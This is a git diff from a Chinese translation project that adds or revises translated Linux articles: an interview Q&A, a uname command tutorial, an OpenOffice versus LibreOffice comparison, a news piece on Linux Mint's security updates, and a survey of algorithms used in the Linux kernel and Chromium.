> **答**: 不! Linux内核包含了12,020,528行代码其中注释占去了2,151,595 行。因此剩下的9,868,933 行就是纯代码了。而其中7,896,318行都是用C语言写的。
剩下的1,972,615行则是使用C++汇编Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed等。
**注**代码行数每天都在变动平均每天超过3,509行代码添加到内核。
### Q.4: 起初Linux 是为 Intel X86 架构编写的,但是后来比其他操作系统移植的硬件平台都多,是这样吗 ###
> **答**: 是的我同意。Linux那时候是为x86机器写的而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着远程遥控太空科学研究Web桌面计算等等举之不尽。
### Q.5: 编辑 Linux 内核合法吗? ###
> **答**: 是的内核基于GPL发布任何人都可以基于GPL允许的权限随意编辑内核。Linux内核属于免费开源软件FOSS
### Q.6: UNIX和Linux操作系统本质上的不同在哪里###
> **答**: Linux操作系统属于免费开源软件内核是由 Linus Torvalds 和开源社区共同开发的。当然我们不能说UNIX操作系统和免费开源软件FOSS无关BSD 就是基于 FOSS 范畴的 UNIX 的变种。而且大公司如 AppleIBMOracleHP等都在为UNIX内核贡献代码。
### Q. 7: 挑出来一个与众不同的来. ###
- HP-UX
- AIX
- OSX
- Slackware
- Solaris
> **答** : Slackware。 HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的并且都是UNIX的变种. Slackware 则是一个Linux操作系统.
### Q.8: Linux 不会感染病毒吗? ###
> **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以迄今为止病毒数量少而著称是的甚至比UNIX还要少。Linux榜上有名的病毒只有60-100个而且没有一个病毒在传播蔓延。Unix粗略估计有85-120个。
### Q.9: Linux 属于哪种类型的操作系统? ###
- 多用户
- 多任务
- 多线程
- 以上所有
- 以上都不是
> **答** : 以上所有。Linux是一个支持多用户可以同时运行多个进程执行多个任务的操作系统。
### Q.10: 一般的 Linux 命令的语法格式是: ###
- command [选项] [参数]
- command 选项 [参数]
- command [选项] [参数]
- command 选项 参数
> **答** : Linux 命令的正确语法是, Command [选项] [参数]。
### Q.11: 挑出来一个与众不同的来. ###
- Vi
- vim
- cd
- nano
> **答** : cd 与其他命令不同。Vivim和 nano都是编辑器用于编辑文档而cd是用于切换目录的命令。
就这么多了。上述问题你学到手几个?效果如何?我们期待着你的评论。下周,会有新的问题,让我们拭目以待。保持健康,锁定链接,记得来**Tecmint**哦。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers/
译者:[l3b2w1](https://github.com/l3b2w1) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,116 @@
九个uname命令获取Linux系统详情的实例
================================================================================
当你在控制台模式下,无法通过“鼠标右键 > 关于”获取操作系统的信息。这时在Linux下你可以使用**uname**命令,帮助你完成这些工作。 Uname是**unix name**的缩写。在控制台中实际使用的时候只需键入**uname**。
当你输入uname不带参数时它仅仅显示你的操作系统的名字。
# uname
Linux
也许这还不能满足你的需要。所以你需要加上一些参数来使uname显示你所需要的信息。
以下是uname参数的列表:
### 1. 内核名称 ###
你可以用**-s**参数显示内核名称。译注可以在其他的类Unix系统上运行这个命令看看比如mac就会显示Darwin
# uname -s
Linux
输出信息会跟uname不带参数时输出的一样。
### 2. 内核发行版 ###
如果你想知道你正在使用哪个内核发行版(指不同的内核打包版本),就可以用**-r**参数
# uname -r
2.6.18-371.1.2.el5
### 3. 内核版本 ###
除一些内核信息外,用**-v**参数uname也能获取更详细的内核版本信息译注不是版本号是指该内核建立的时间和CPU架构等
# uname -v
#1 SMP Tue Oct 22 12:57:43 EDT 2013
### 4. 节点名 ###
参数 -n 会提供给你节点的主机名。举例来说如果你的主机名是“dev-machine”**-n**参数就会把主机名打印出来。
# uname -n
dev-machine
对于RedHat和CentOS用户来说你也可以通过**/etc/redhat_release**文件来查看:
# cat /etc/redhat_release
CentOS release 5.10 (Final)
如果不是基于RedHat的发行版你可以查看**/etc/issue**文件.类似如下:
# cat /etc/issue
Linux Mint Olivia \n \l:
### 5.硬件名称 ###
如果你想知道用的是哪类机器,你可以尝试**-m**参数。它将告诉你关于硬件的信息。
# uname -m
i686
i686表明了你用的是32位的操作系统如果是X86_64则表明你用的是64位的系统。
### 6. 硬件平台 ###
与硬件名称类似,-i参数会显示你的硬件平台译注硬件名称i686是属于硬件平台i386系列的
# uname -i
i386
同样i386意味这是正在运行一个32位的系统如果输出的是X86_64则说明你正在运行一个64位的系统。
### 7. 处理器类型 ###
你可以用**-p**参数查看处理器类型。如果uname无法识别它会显示 unknown 作为输出。
# uname -p
i686
### 8. 操作系统 ###
uname也可以透露你正在运行的操作系统信息用**-o**参数可以实现这个目的。
# uname -o
GNU/Linux
### 9. 所有信息 ###
有一个参数可以展示所有的信息!这就是**-a**参数,它会显示所有信息。如果**-i和-p**输出为unknown则默认会被省略。
# uname -a
Linux dev-machine 2.6.18-371.1.2.el5 #1 SMP Tue Oct 22 12:57:43 EDT 2013 i686 i686 i386 GNU/Linux
以上就是关于uname命令的使用。请敬请期待更多的命令
谢谢阅读!
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/uname-command/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,4 +1,4 @@
Apache OpenOffice vs. LibreOffice 详解
Apache OpenOffice 与 LibreOffice 之间的抉择
================================================================================
> 这两个开源办公套件产品很相似,然而某一个貌似已经开始具有轻微的领先优势……
@ -10,7 +10,7 @@ Apache OpenOffice vs. LibreOffice 详解
###具体各程序间的区别###
LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw看起来完全没有区别说Impress主要的区别就是LibreOffice最新版支持使用Android设备控制幻灯片放映除了幻灯片背景以外两者其他方面没什么不同都能很好的胜任日常使用除非有特殊偏好用户选择哪一款都可以同样在Calc电子制表软件中两者最大的区别就是你可以在LibreOffice里创建数据表
LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw看起来完全没有区别如Impress主要的区别就是LibreOffice的最新版支持使用Android设备控制幻灯片放映除了幻灯片背景以外两者其他方面没什么不同都能很好的胜任日常使用除非有特殊偏好用户选择哪一款都可以同样在Calc电子制表软件中两者最大的区别就是你可以在LibreOffice里创建数据表
即使在用户最常用的Writer程序中两者的区别也很小。LibreOffice这边编辑窗口的底部状态栏现在新包含了一个字词计数器审阅标签也不再局限于某个单个点现在可以附加在配图上另外LibreOffice终于解决了“脚注无法紧靠对应文本显示”的bug除此以外LibreOffice还添加了一个简易搜索栏与web浏览器上的那种类似同时去掉了图形水平线的选项这个功能过去十几年来几乎从没人用过。
@ -18,9 +18,9 @@ LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩
一些更明显的区别体现在格式分类与字体支持上。例如OpenOffice始终支持一些较老的保存格式像AportisDocPalm版和Pocket Word。另外它也可以打开.docx格式的文件但是无法像LibreOffice一样将文档保存为docx格式。
LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的通过“文件->属性->体”,你能够将字体嵌入到文档中去,无需任何繁琐操作,就能确保字体的兼容性。
LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的通过“文件->属性->体”,你能够将字体嵌入到文档中去,无需任何繁琐操作,就能确保字体的兼容性。
这样的特性使得LibreOffice在面对微软Office用户转换格式的时候得到了决定性的1分。因为通常OpenOffice和LibreOffice都无法很好处理微软格式的文档特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此如果你要共享复杂一些的文档例如宣传手册最好使用PDF格式而不是Open文档格式ODF
这样的特性使得LibreOffice在面对微软Office用户转换格式的时候得到了决定性的1分。因为通常OpenOffice和LibreOffice都无法很好处理微软格式的文档特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此如果你要共享复杂一些的文档例如宣传手册最好使用PDF格式而不是Open文档格式ODF
然而如果你确实需要转换一些本地或微软的文档LibreOffice拥有一些决定性优势。它不仅能读写大多数微软文档而且它对字体替换处理的很好而这正是文档格式转换时要面临的一个主要问题。尽管其他问题仍有不少例如在特性实现上有所不同但LibreOffice在处理微软Office文档时确实应该是一个更可靠的选择。
@ -32,35 +32,35 @@ OpenOffice和LibreOffice两者都能很好的支持插件扩展想要加强
以上这些扩展在OpenOffice下同样可用。与前者不同的是使用OpenOffice时你首先需要知道有这些扩展然后专门去找到它们这样一来很大程度上限制了新用户对很多功能的体验。因此当OpenOffice在最近发布的版本中尝试努力提供更好用的现代模板和剪贴画时这样的疏漏就成了一个非常严重的不足特别是当它很容易弥补的时候更何况LibreOffice同时也提供了自家最新的模板和剪贴画
###接口的更新换代###
###界面的更新换代###
在OpenOffice.org属于Sun和Oracle的12年日子里它的代码和接口就如同许多优秀特性一样,几乎被完全忽略。如今的结果就是OpenOffice和LibreOffice作为套件产品都各自拥有一整套优秀的功能但是它们的接口却仍停留在上世纪90年代的水平。只有表面上的一些老旧接口被移除,其实大部分仍然亟待更新。
在OpenOffice.org属于Sun和Oracle的12年日子里它的界面和许多的其它功能一样,几乎被丢在遗忘的角落。如今的结果就是OpenOffice和LibreOffice作为套件产品都各自拥有一整套优秀的功能但是它们的界面却仍停留在上世纪90年代的水平。只有表面上的一些老旧界面被移除,其实大部分仍然亟待更新。
在最新的发布中OpenOffice试图彻底更新自己的接口但是却由于“导航栏”而被迫受阻。导航栏这一特性如今已经成为“用户体验”的标签在LibreOffice中你可以通过“工具->选项->LibreOffice->高级”找到关于它的设置
在最新的发布中OpenOffice试图彻底更新自己的界面的努力主要集中在“边栏”上。这一特性,你可以通过“工具->选项->LibreOffice->高级”打开,它被标记为“试验性”的
导航栏是一组功能集合,主要用于用户手动格式化。【【【这一特性鼓励用户使用样式,就代码编写人员的逻辑来说,这一点很容易被忽略。(这一句各种纠结不明白啥意思啊啊啊啊啊=。=)】】】然而,它最大的好处是,大大简化了字符和图形的格式化标签页,例如原本所有应用程序中都有的加粗选项,以及电子表格单元格中的“格式”标签页。幸运的是,导航栏还重新定义了菜单和样式对话框窗口的概念。
边栏是一组功能集合,主要用于用户手动格式化。这一特性便于用户应用样式,因为如果用户关注在文章逻辑上,很容易忽略编排的样式。然而,最好的是,它大大简化了格式化字符和段落的选项卡,例如所有应用程序中都有的边框选项卡,以及电子表格单元格中的“格式”选项卡。幸运的是,边栏还重新定义了菜单和样式对话框窗口的概念。
LibreOffice还拥有更多的“冒险创新精神”例如导航栏类似Impress中的任务面板摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。
LibreOffice还拥有更多的“冒险创新精神”例如栏类似Impress中的任务面板摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。
在Writer编辑窗口中LibreOffice的大部分接口已经完成改进,窗口底部的状态栏中,添加了一个字词计数器,原本负责管理和编辑模板的狭窄子菜单,如今也已被高端大气上档次的流线形按钮所取代。
在Writer编辑窗口中LibreOffice的大部分界面已经完成改进,窗口底部的状态栏中,添加了一个字词计数器,原本负责管理和编辑模板的狭窄子菜单,如今也已被高端大气上档次的流线形按钮所取代。
更明显的LibreOffice中的主文本框架被精减为四个边角的十字准线。同样的页眉和页脚也默认改为不可见要想找到它们四个小直角标明了它们的边界位置点击就可以出现。
不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口。除了【【【使用标签页鼓励手动格式化这一事实(和上面那纠结的一句一样,这是什么意思啊啊啊啊啊=。=)】】】,比较恼人的是,当在新一页的第一行输入的时候,已经输入的一部分总是会自动隐藏。
不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口中的选项卡。虽然这个选项卡事实上是为了便于手动调整格式,但是让人郁闷的是,当在新一页的第一行输入的时候,已经输入的一部分总是会自动隐藏起来
尽管LibreOffice还重组了许多窗口选项但是这些努力远没有结束。有时开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体看起来有些不伦不类但是至少LibreOffice正在尝试着解决长期搁置的接口问题而这些OpenOffice甚至都还没来得急意识到。
尽管LibreOffice还重组了许多对话窗口选项但是这些努力远没有结束。有时开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体看起来有些不伦不类但是至少LibreOffice正在尝试着解决长期搁置的界面问题而这些OpenOffice甚至都还没来得及意识到。
###做出选择###
如果文档不超过2到3页一般用户可能需要时常检查标题栏看自己用的是LibreOffice还是OpenOffice。然而对于进阶用户而言LibreOffice目前可能更有优势。优势并不算大但是很明显。
如果文档不超过2到3页一般用户可能会时常看看标题栏看自己用的是LibreOffice还是OpenOffice。然而对于进阶用户而言LibreOffice目前可能更有优势。优势并不算大但是很明显。
这一优势的确很难被忽略。原因首先在LibreOffice已经确立了好几个月时间优势的情况下OpenOffice却仍在专注于管理权和代码审计这些工作也许有帮助也有必要但是普通用户更愿意看到他们对代码做出更多的改进工作。
这一优势的确很难被忽略。原因首先在LibreOffice已经确立了好几个月时间优势的情况下OpenOffice却仍在专注于管理权和代码审计这些工作也许有帮助也有必要,但是普通用户更愿意看到他们对代码做出更多的改进工作。
其次LibreOffice的开发人员大部分是[Go-oo][3]的前成员这是OpenOffice.org的一个非官方项目组以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。
其次LibreOffice的开发人员大部分是[Go-oo][3]的前成员这是OpenOffice.org的一个非官方分支以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。
没有人做过准确的调查但是我印象中当OpenOffice.org社区分家的时候大部分富于冒险创新精神的贡献者都选择了LibreOffice同时有一些半独立的文档小组在谨慎地同时为两个项目工作。
其实LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说LibreOffice可以随意自由地从OpenOffice“借”代码但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲如果想从LibreOffice“借”来某个功能OpenOffice必须完全依靠“净室clean-room”来实现。
其实LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说LibreOffice可以随意自由地从OpenOffice“借”代码但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲如果想从LibreOffice“借”来某个功能OpenOffice必须完全从头实现。
这一情况有可能会改变尤其是当Apache OpenOffice比LibreOffice拥有更高的知名度的时候然而LibreOffice的支持者们正在迅速扩张它的社区非常活跃短短3年间所做的要比OpenOffice.org十二年来做的还要多。
@ -70,7 +70,7 @@ LibreOffice还拥有更多的“冒险创新精神”例如与导航栏类
via: http://www.datamation.com/applications/apache-openoffice-vs.-libreoffice-1.html
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[校对者ID](https://github.com/校对者ID)
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,39 @@
Canonical Dev称Linux Mint“脆弱”不要将其用于网银
================================================================================
**一位Canonical公司[工程师建议][1]基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于网银 。**
Mint决定禁止更新那些存在已知安全问题的安装包 - 从内核、浏览器到启动加载器和Xorg显示服务 - 这样给用户带来了一个“脆弱的系统” Oliver Grawert说。
> “不去马上整合Ubuntu提交的那些修正而是拒绝这些软件包的安全更新。我要说强制保持一个有缺陷的内核、浏览器或xorg而不是允许安装更新补丁这会变成一个易受攻击的系统原文如此”。
>
> “就我个人而言,我不会用它做网银操作。”
当然不只有Grawert认为Mint在安全意识上的低下。Mozilla贡献者兼前Ubuntu成员 **Benjamin Kerensa** 也有同样的看法:
> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说Mint需要花好几个月才能得到一个Firefox的修正版而Ubuntu和Debian已经早在他们的包上打了安全补丁。
>
> 这将置Linux Mint用户处于危险中也是我从来不建议任何人将Linux Mint作为一种替代Ubuntu的系统的主要原因之一。”
Oliver Grawert是一位可靠的撰稿人。作为一位Canonical公司下的Ubuntu工程师他比大多数人更了解自己在说什么。
那么Mint的用户存在实际风险么
半对半错。Mint开发商坚决拒绝更新的现有软件包中大部分的安全“漏洞”这个词更好一些都是有记录和已知的虽然这些漏洞很少被利用。因此对用户构成的“实际风险”仍然存在至少现在在理论上是很有可能的。
也就是说,没有发生**已知的**由于使用Mint发行版或任何其他基于Ubuntu的未打补丁的发行版并被通过利用Grawert引用的Ubuntu开发邮件列表上的漏洞造成身份盗窃乃至更糟的事故的情况。
但是,仅仅因为迄今为止没有人曾经钻进这扇半掩的窗户,并不能说明其他人永远不会这么做。
**看到Ubuntu持续被提及有关自身的主要是理论上隐私问题后至少它还穿着另外一只鞋子我们可喜的看到它对用户安全的强烈关注正在延伸至其他发行版上。**
*请注意我们已经向Linux Mint征求意见及澄清答复将在后继文章发表。*
--------------------------------------------------------------------------------
via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure
译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html

View File

@ -0,0 +1,298 @@
那些算法在哪里?
================================================================================
本文来源于一篇stackexchange的[问题][101]回答。提问者问到,我们在计算机科学和数学课程里面学习到的那些算法,到底在什么地方用到了?结果[Vijay D][103]给出一个洋洋洒洒的[深入回答][102],得到了提问者和众多围观。我们将这篇回答翻译过来以飨读者。
[Vijay D][103]写到:
在我看来一个系统背后主要发挥作用的算法更容易在非算法课程上找到这和应用数学中的成果比理论数学中更容易出现在应用中是一个道理。在讲座中很少有实际问题能够精确匹配到一个抽象问题。归根结底我认为没有理由让流行的算法课程诸如Strassen乘法AKS素性测试、或者Moser-Tardos算法与底层实际问题如实现视频数据库、优化的编译器、操作系统、网络拥堵控制系统或者其他系统相关。这些课程的价值是学习利用错综复杂的方法发现问题的脉络而找出有效的解决方案。高级算法和简单算法的分析都不简单。正是由于这个原因我不会忽略简单随机算法或者PageRank。
我想你可以选择任何一个大型软件并在内部找到它所采用的基础和高级的算法。作为一个研究案例我选择了Linux内核并会示例一些Chromium里面的例子。
### Linux内核中的基本数据结构和算法 ###
Linux内核([源代码的链接在github][1])。
1.[链表][2]、[双向链表][3]、[无锁链表][4]。
2.[B+ 树][5],这是一些你无法在教科书上找到的说明。
> 一个相对简单的B+树的实现。我把它作为一个学习练习来帮助理解B+树是如何工作的。这同样也被证明是有用的。
> ...
> 一个在教科书中并不常见的技巧。最小的值在右侧而不是在左侧。所有在一个节点里用到的槽都在左侧,所有没有用到的槽包含了空值(NUL)。大多数操作只简单地遍历所有的槽一次并在第一个空值时(NUL)终止。
3.[优先排序列表][6] 用于 [互斥量][7]、[驱动][8]等等。
4.[红黑树][9][用于][10]调度、虚拟内存管理、追踪文件描述符和目录项等。
5.[区间树][11]
6.[根树][12]用于[内存管理][13]NFS相关查询和网络相关功能。
> 根树的一个通用的用处是存储指针到结构页中。
7.[优先级堆][14],如其名称的教科书实现,用于[cgroup][15]。
> 《简单的基于CLR的只插入的含有指针的定长优先级堆》第七章
8.[哈希函数][16]参考了Knuth和一篇论文。
> Knuth建议用乘法哈希的机器字来表示接近黄金比例的素数的最大整数。Chuck Lever验证了该技术的有效性
>
> [http://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf][17]
>
> 这些素数的选择是位稀疏的,他们可以通过移位和加法操作,而不必使用乘法器,乘法器是很慢的。
9.有的代码,比如[这个驱动][18],实现了他们自己的哈希函数。
> 使用了一种旋转哈希算法的哈希函数
>
> Knuth, D. 《计算机程序设计艺术, 卷 3: 排序与搜索》, 第6、7章. Addison Wesley, 1973
10.[哈希表][19]用于实现[inode][20]、[文件系统完整性检测][21]等等。
11.[位数组][22]用于处理标志位、中断等等。并在Knuth那本书的卷4中阐述。
12.[信号量][23]和[自旋锁][24]
13.[二分查找][25]用于[中断处理][26],[寄存器缓存查询][27]等等。
14.[B树的二分查找][28]。
15.[深度优先搜索][29]被广泛地用于[目录配置中][30]。
> 执行一个修改过的命名空间树的深度优先遍历以指定的start_handle节点开始及结束。回调函数会在任何一个参数匹配的节点被发现时被调用。如果回调函数返回了一个非0值搜索将会立即终止并且将其返回给调用者。
16.[广度优先搜索][31]用于检测运行时锁定的正确性。
17.链表中的[归并排序][32]用于[垃圾收集][33]、[文件系统管理][34]等等。
18.[冒泡排序][35]在一个驱动库中也有一个令人惊讶的实现。
19.[Knuth-Morris-Pratt 字符串匹配][36],
> 根据Knuth、Morris和Pratt\[1\]实现了一个线性时间的字符串匹配算法。他们的算法避免了转换函数的显式地计算DELTA。对于长度为n的文本其匹配时间是O(n)对于长度为m的模式(pattern)仅使用一个辅助函数PI[1 . .m]预先计算模式的时间为O(m)。数组PI允许转换函数DELTA被实时有效地计算。粗略地说对于任何状态"q"= 0,1,…、m和在SIGMA中的任何字符"a",PI["q"]的值包含的信息是独立的"a"并需要计算DELTA("q","a") \[2\]。既然PI只有m个记录而DELTA有O(m |SIGMA|)个记录在预处理时间计算PI而不是DELTA的时候我们可以节省一个因数|SIGMA|
>
> \[1\] Cormen, Leiserson, Rivest, Stein算法介绍第二版MIT出版社
>
> \[2\] 见有限自动机原理
20.[Boyer-Moore 模式匹配][37]是在找替代品时的参考和建议。
> 实现了Boyer-Moore字符串匹配算法:
>
> \[1\] 《一个快速的字符串搜索算法》R.S. Boyer and Moore.计算机通信协会20(10), 1977, pp. 762-772. [http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf][38]
>
> \[2\] 《准确的字符串匹配算法手册》Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf][39]
>
> 注:由于Boyer-Moore(BM)从右到左搜索匹配,仍然有可能匹配分布在多个块,在这种情况下该算法并没有优势。
>
> 如果你希望确保这样的事情永远不会发生那使用Knuth-Pratt-Morris(KMP)实现。总之,根据您的设置适当地选择字符串搜索算法。
>
> 如果你正在用文本搜索器进行过滤NIDS或任何类似的注重安全的目的那么使用KMP。否则如果你真的关心性能并且你对数据包进行分类以使用服务质量(QoS)政策当你不介意匹配可能分布分散那么用BM。
### Chromium 浏览器中的数据结构和算法 ###
Chromium的([源代码在 Google code][40])。我只会列出一部分。我建议使用搜索来找到你最喜欢的算法或者数据结构。
1.[伸展树][41]。
> 这个树通过分配策略分配器参数化。这个策略用于C的可用存储区的列表分配参见zone.h。
2.[Voronoi算法][42]用于一个示例。
3.[基于Bresenham算法的选项卡][43]
在Chromium的第三方代码里面也有如下的数据结构和算法。
1.[二叉树][44]
2.[红黑树][45]
> Julian Walker的总结
>
> 红黑树是一个有趣的小东西。他们被认为比AVL树(它们的直接竞争对手)简单乍一看这似乎是由于插入是一项轻松的乐事。然而当你开始删除时红黑树变得非常棘手。然而通过复杂性的平衡插入和删除可以使用单通道实现自上而下的算法。这与AVL树情况不一样插入只能自顶向下删除则需要自下而上。
> ...
>
> 红黑树是很流行的像大多数数据结构一样有一个古怪的名字。比如在Java和c++库映射结构通常用红黑树实现。红黑树的速度也与AVL树相当。而AVL树平衡性不是很好需要保持平衡的话红黑树通常更好。有一些流传的误解但在大多数情况下对红黑树的宣传是准确的。
3.[AVL 树][46]
4.[Rabin-Karp字符串匹配][47]用于比较。
5.[自动机后缀的计算][48]。
6.由Apple公司实现的[bloom过滤器][49]。
7.[Bresenham 算法][50]。
### 编程语言库 ###
我想这个问题值得思考。编程语言设计者们认为值得花一些工程师的时间和精力来实现这些数据结构和算法这样其他人就不必这么做了。这些库是我们在JAVA里面比C更少的发现需要重新实现基本数据结构的部分原因。
1.[C++ STL][51]包含了链表、栈、队列、映射、向量和[排序][52]、[搜索和堆操作][53]算法。
2.[Java API][54]易于扩展的并且越来越多。
3.[Boost C++ 库][55]包含了像 Boyer-Moore以及Knuth-Morris-Pratt字符串匹配算法。
### 分配和调度算法 ###
我发现这些很有趣,因为即使他们被称为启发式,您使用的策略规定了算法类型和需要的数据结构,因此,所以需要人们知道栈和队列。
1.最近最少使用LRU算法可以用不同的方法实现。Linux内核有一种[基于列表的实现][56]。
2.其他的还有先入先出FIFO、最常使用和轮询。
3.FIFO的一个变种用于VAX/VMS系统。
4.[Richard Carr][58]的[时钟算法][57]用于Linux中的页面替换。
5.Intel i860处理器是一种随机替代策略。
6.[自适应置换高速缓存][59]用于一些IBM存储控制器中也曾经用于PostgreSQL中([虽然仅仅因为一些专利问题][60])。
7.Knuth在《计算机程序设计艺术 卷1》中讨论过的[Buddy内存分配算法][61]内用于Linux内核中jemalloc并发分配器被用于FreeBSD和[facebook][62]中。
### *nix系统核心工具 ###
1.*grep*和*awk*同时从正则表达式中实现NFA的Thompson-McNaughton-Yamada构造显然[这甚至击败了Perl的实现][63]。
2.*tsort*实现了拓扑排序。
3.*fgrep*实现了[Aho-Corasick字符串匹配算法][64]。
4.*GNU grep*根据作者Mike Haertel实现了[Boyer-Mooresuan算法][65]。
5.Unix上的crypt(1)实现了一个在Enigma机器上的不同加密算法。
6.[*Unix diff*][66]由Doug McIllroy实现基于和James Hunt合作编写的原形。它比用于计算Levenshtein距离的标准动态规划算法执行地更好。[Linux 版本][67]计算最短编辑距离。
### 加密算法 ###
这本是一个非常长的列表。加密算法在所有执行安全通信和交易的程序中都有实现。
1.[Merkle 树][68],特别是 Tiger Tree Hash变种被用于点对点应用比如[GTK Gnutella][69]和[LimeWire][70]。
2.[MD5][71]被用于提供软件包的校验和并被用于在*nix系统上的完整性检测([Linux 实现][72])同样也支持Windows和OSX。
3.[OpenSSL][73]实现了很多加密算法包括AES、Blowfish、DES、SHA-1、SHA-2、RSA、DES等等。
### 编译器 ###
1.[LALR 解析][74]在yacc和bison实现。
2.支配算法被用于大多数基于SSA形式的编译器优化。
3.lex和flex将正则表达式编译为NFA。
### 压缩和图像处理 ###
1.用于GIF图片格式的[Lempel-Ziv][75]算法在图像处理程序中实现,从*unix工具转化到复杂的程序。
2.行程长度编码用于产生PCX文件(用于原来的画笔程序)它是被压缩的BMP和TIFF文件。
3.小波压缩是JPEG2000的基础所以所有生成JPEG2000文件的数码相机会支持这个算法。
4.Reed-Solomon纠错在[Linux内核][76]、CD驱动器、条形码读取器、结合从Voyager中的卷积图像传输中实现。
### 冲突驱动语句学习算法 (CDCL) ###
自2000年以来SAT求解器在工业标准的运行时间(通常是硬件工业,虽然其他地方也被使用)以近乎指数的方式每年下跌。这发展中很重要的一部分是冲突驱动语句学习算法它结合了Davis Logemann和Loveland在约束规划和人工智能研究中关于语句学习的原始论文中的布尔约束传播算法。特定地工业造型SAT被认为是一个简单的问题([见这个讨论][77])。对我而言,这个一个最近最好的成功故事,因为它结合了这几年算法的不断发展、清晰的工程理念、实验性的评估、齐心协力地解决一个问题。[Malik 和 Zhang的CACM文章][78]值得阅读。这个算法在许多大学中教授(我参加过的4个地方都是如此),但是通常在一个逻辑或者形式方法课上。
SAT求解器的应用有很多。IBMIntel和许多其他公司都有他们的SAT求解器实现。OpenSuse的[包管理器][78]同样使用了一个SAT求解器。
--------------------------------------------------------------------------------
via: http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:https://github.com/mirrors/linux-2.6
[2]:https://github.com/mirrors/linux-2.6/blob/master/lib/llist.c
[3]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list.h
[4]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/llist.h
[5]:https://github.com/mirrors/linux-2.6/blob/39caa0916ef27cf1da5026eb708a2b8413156f75/lib/btree.c
[6]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/plist.h
[7]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/rtmutex.h
[8]:https://github.com/mirrors/linux-2.6/blob/f0d55cc1a65852e6647d4f5d707c1c9b5471ce3c/drivers/powercap/intel_rapl.c
[9]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/rbtree.h
[10]:http://lwn.net/Articles/184495/
[11]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/interval_tree.h
[12]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/radix-tree.h
[13]:http://lwn.net/Articles/175432/
[14]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/prio_heap.h
[15]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/include/linux/cgroup.h
[16]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/hash.h
[17]:ttp://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf
